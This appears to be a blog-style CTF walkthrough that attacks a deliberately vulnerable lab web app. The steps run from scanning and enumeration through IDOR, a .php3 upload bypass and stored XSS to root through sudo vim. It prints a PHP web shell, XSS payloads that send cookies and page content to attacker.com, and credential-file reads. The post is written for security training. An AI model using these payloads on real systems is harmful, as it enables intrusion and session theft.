CyberHub CTF Walkthrough: A Complete Penetration Testing Methodology from Reconnaissance to Root + Video

By /

Listen to this Post

Featured Image

Introduction

The CyberHub CTF is a deliberately vulnerable web application designed to simulate a real-world penetration testing scenario. With a target machine at 192.168.56.101, this CTF challenges participants to follow a complete attack path: Reconnaissance → Enumeration → Vulnerability Discovery → Exploitation → Privilege Escalation → Flag Collection. This walkthrough demonstrates how methodical enumeration—the foundation of successful penetration testing—transforms scattered clues into a coherent attack chain, ultimately leading from an exposed login portal to root access.

Learning Objectives & Secrets

  • Objective 1: Master the Reconnaissance Phase – Learn to use Nmap with advanced flags (-sC -sV -sS -O -p- -Pn -T4) to identify open ports, service versions, and operating system details across all 65,535 ports. The secret: never rely on default scans; full port scanning reveals hidden services like SSH on non-standard ports (2222) and exposes misconfigured services like FTP with anonymous access enabled.

  • Objective 2: Chain Enumeration Findings for Exploitation – Directory enumeration with Gobuster uncovers hidden paths like `/assets/` and robots.txt. SMB enumeration with `enum4linux -a` reveals usernames, shares, and system details. The secret tip: each enumeration output feeds the next stage—usernames from SMB become targets for Hydra SSH brute-forcing, and discovered `.dict` files serve as wordlists for John the Ripper hash cracking.

  • Objective 3: Exploit Web Vulnerabilities and Escalate Privileges – Test every input and upload functionality for IDOR, File Upload, and XSS vulnerabilities. The secret tip: when standard PHP extensions are blocked, try uncommon ones like .php3—it may bypass validation. For privilege escalation, check sudo -l; if Vim is available with sudo privileges, escape to a root shell with :!/bin/bash.

You Should Know

1. Reconnaissance and Service Enumeration with Nmap

The penetration testing process begins with comprehensive network reconnaissance. Against the target IP 192.168.56.101, the following Nmap command was executed:

nmap -sC -sV -sS -O -p- -Pn -T4 192.168.56.101

What this does:

  • -sC: Runs default NSE scripts for service enumeration
  • -sV: Performs version detection on open ports
  • -sS: Stealth SYN scan (half-open scan)
  • -O: Enables OS fingerprinting
  • -p-: Scans all 65,535 TCP ports
  • -Pn: Skips host discovery (assumes host is up)
  • -T4: Aggressive timing template for faster scanning

Findings from the scan:

  • FTP (Port 21) — open with anonymous login enabled
  • SSH (Port 2222) — running on non-standard port
  • SMB (Ports 139 and 445) — open for enumeration
  • HTTP service — hosting the CyberHub web application

For Windows environments, use the equivalent PowerShell approach:

Test-1etConnection -ComputerName 192.168.56.101 -Port 21
Test-1etConnection -ComputerName 192.168.56.101 -Port 445

2. Web Directory Enumeration with Gobuster

After identifying the HTTP service, directory enumeration reveals hidden paths that are not linked from the main application:

gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

What this does:

  • dir: Directory/file enumeration mode
  • -u: Target URL
  • -w: Wordlist for brute-forcing directories
  • -x: File extensions to append

Discoveries made:

– `robots.txt` — revealed hidden `.dict` file path
– `/assets/` directory — contained multiple image files for steganography analysis
– Hidden directories containing CTF flags

Retrieve discovered files:

curl http://192.168.56.101/robots.txt
curl http://192.168.56.101/.dict

3. Information Disclosure and Source Code Analysis

On the `dashboard.php` page, simply viewing the page source (right-click → View Page Source) revealed the first flag through Information Disclosure. This technique is often overlooked but remains one of the most common security misconfigurations in web applications.

Best practice: Always inspect HTML source code for:

  • Comments containing sensitive information
  • Hidden form fields with default values
  • JavaScript functions that expose API endpoints
  • Developer notes left in production code

4. IDOR (Insecure Direct Object Reference) Vulnerability Testing

On the profile page, the application uses a numeric `id` parameter to fetch user profiles:

http://192.168.56.101/profile.php?id=1

By manually changing the ID parameter to sequential values (2, 3, 4, etc.), user ID 3 returned another user’s profile containing the IDOR flag.

Burp Suite testing approach:

1. Intercept the profile request in Burp Suite

2. Send to Repeater (Ctrl+R)

3. Modify the `id` parameter value

4. Observe response differences

  1. Automate with Intruder using a number payload list

Python script for automated IDOR testing:

import requests

url = "http://192.168.56.101/profile.php"
for i in range(1, 100):
response = requests.get(url, params={"id": i})
if "flag" in response.text or "CYBERHUB" in response.text:
print(f"[+] Potential IDOR at ID: {i}")
print(response.text[:500])

5. File Upload Vulnerability Exploitation

The profile page includes a file upload feature. Testing revealed that most extensions were rejected, but `.php3` was accepted.

Tested extensions:

  • Image formats: .jpg, .jpeg, .png, .gif, `.webp`
    – PHP/script formats: .php, .phtml, .php3, .php4, .php5, .phar, `.inc`
    – Double extensions: .jpg.php, `.png.php`
    – Case variations: .PHP, `.Phtml`

Web shell payload (shell.php3):

<?php system($_GET['cmd']); ?>

Upload and execute:

1. Upload `shell.php3` through the profile page

  1. Access the uploaded file: `http://192.168.56.101/uploads/shell.php3?cmd=id`
  2. If successful, the server executes the command and returns output

Mitigation for developers:

  • Validate file MIME types server-side (not just client-side)
  • Use a whitelist of allowed extensions
  • Rename uploaded files to random strings
  • Store files outside the web root
  • Disable execution in upload directories via `.htaccess`

6. Cross-Site Scripting (XSS) Discovery

In the About field, a basic XSS payload was injected:

<script>alert(1)</script>

The application processed the input as JavaScript, confirming a Stored XSS vulnerability.

More advanced XSS payloads for testing:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
<img src=x onerror=alert(document.cookie)>
<script>fetch('http://attacker.com/log?data='+document.body.innerHTML)</script>

Impact: Stored XSS can lead to session hijacking, credential theft, and defacement. In this CTF, the vulnerability directly exposed the XSS flag.

  1. Hash Identification and Cracking with John the Ripper

Source code inspection on the About page revealed a hidden hash. After identifying the hashing algorithm, John the Ripper was used to recover the plaintext.

Hash identification:

hashid <hash_value>

Cracking with John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt

Using the discovered `.dict` file as a wordlist:

john --wordlist=.dict hash.txt

8. Steganography and Metadata Analysis

Directory enumeration revealed the `/assets/` directory containing image files. Each image was analyzed using ExifTool and Steghide.

Extract metadata with ExifTool:

exiftool logo.webp
exiftool -all= image.jpg  Remove all metadata (for sanitization)

Extract hidden data with Steghide:

steghide extract -sf image.jpg
steghide extract -sf image.jpg -p password

The `logo.webp` image contained suspicious information revealed by ExifTool, leading to the flag discovery.

For Windows, use:

 Using exiftool (download from exiftool.org)
exiftool.exe logo.webp

Using steghide (download from steghide.sourceforge.net)
steghide.exe extract -sf image.jpg

9. FTP Anonymous Access and SMB Enumeration

Nmap revealed FTP on port 21 with anonymous login enabled:

ftp 192.168.56.101
 Username: anonymous
 Password: (blank)

SMB ports 139 and 445 were also open, enabling enumeration with enum4linux:

enum4linux -a 192.168.56.101

What `enum4linux -a` enumerates:

  • Workgroup/domain information
  • User list
  • Share list
  • System details
  • Password policy information

The SMB enumeration identified valid usernames on the target system, which were later used with Hydra against the SSH service.

10. SSH Authentication and Privilege Escalation

SSH was running on port 2222 instead of the default port 22. Using credentials discovered through enumeration (arjun999 / secret241), access was gained:

ssh -p 2222 [email protected]

Local enumeration after user access:

whoami
id
sudo -l
find / -perm -4000 2>/dev/null  SUID binaries
cat /etc/passwd
cat /etc/shadow
uname -a

The `sudo -l` command revealed that the user could run `/usr/bin/vim` with sudo privileges. Vim can be used to escape to a root shell:

sudo /usr/bin/vim
 Inside vim, type:
:!/bin/bash

This spawned a root shell, completing the privilege escalation.

Alternative vim escape methods:

:shell
:!sh
:terminal

What Undercode Say

  • Key Takeaway 1: Enumeration is everything. The entire attack chain in CyberHub CTF depended on methodical enumeration. Each finding—from the Nmap scan revealing FTP and SMB, to Gobuster discovering `/assets/` and robots.txt, to SMB enumeration yielding usernames—provided a clue that enabled the next stage. As the CTF rule states: “Don’t attack blindly. Every piece of information discovered during enumeration can become a clue for the next stage”.

  • Key Takeaway 2: Web vulnerabilities are often found through systematic testing. The IDOR, File Upload, and XSS vulnerabilities weren’t discovered through advanced tools alone—they were found by manually testing parameters, uploading various file types, and injecting payloads into input fields. The `.php3` bypass demonstrates that even simple extension variations can defeat weak validation.

The CyberHub CTF walkthrough exemplifies the complete penetration testing lifecycle in a controlled environment. What makes this exercise particularly valuable is the emphasis on understanding why each technique is used rather than simply listing commands. The progression from external reconnaissance to internal privilege escalation mirrors real-world attack scenarios. For cybersecurity students and professionals, mastering this methodology—reconnaissance, enumeration, exploitation, and post-exploitation—builds the foundation for effective vulnerability assessment and penetration testing (VAPT). The use of industry-standard tools (Nmap, Gobuster, Burp Suite, Hydra, John the Ripper, Enum4linux, ExifTool, Steghide) provides practical, transferable skills applicable across any penetration testing engagement.

Expected Output

Introduction:

The CyberHub CTF demonstrates a complete penetration testing methodology against a deliberately vulnerable web application at 192.168.56.101. Following the attack path from reconnaissance through privilege escalation, this walkthrough reveals how methodical enumeration transforms scattered clues into a coherent exploitation chain. The key lesson: successful penetration testing depends on understanding how each discovery leads to the next stage of the attack.

What Undercode Say:

  • Key Takeaway 1: Enumeration is everything. The entire attack chain in CyberHub CTF depended on methodical enumeration. Each finding—from the Nmap scan revealing FTP and SMB, to Gobuster discovering `/assets/` and robots.txt, to SMB enumeration yielding usernames—provided a clue that enabled the next stage. As the CTF rule states: “Don’t attack blindly. Every piece of information discovered during enumeration can become a clue for the next stage”.

  • Key Takeaway 2: Web vulnerabilities are often found through systematic testing. The IDOR, File Upload, and XSS vulnerabilities weren’t discovered through advanced tools alone—they were found by manually testing parameters, uploading various file types, and injecting payloads into input fields. The `.php3` bypass demonstrates that even simple extension variations can defeat weak validation.

Prediction

  • +1 Hands-on CTF exercises like CyberHub will become increasingly central to cybersecurity education as employers prioritize practical skills over theoretical knowledge.
  • +1 The demand for VAPT professionals who can demonstrate methodology-based penetration testing will continue to grow, making documented walkthroughs valuable portfolio pieces.
  • -1 The same techniques demonstrated in CTF environments—IDOR, File Upload bypasses, XSS, and privilege escalation—remain prevalent in production applications, indicating that many organizations still fail to implement basic security controls.
  • -1 The reliance on default configurations (FTP anonymous access, SMB without authentication) in CTF environments mirrors real-world misconfigurations that continue to plague enterprise networks.
  • +1 Community-driven learning through public walkthroughs accelerates skill development and promotes knowledge sharing across the cybersecurity community.

▶️ Related Video (84% Match):

https://www.youtube.com/watch?v=0lVZjYlmnQk

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/eR6m-CBa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: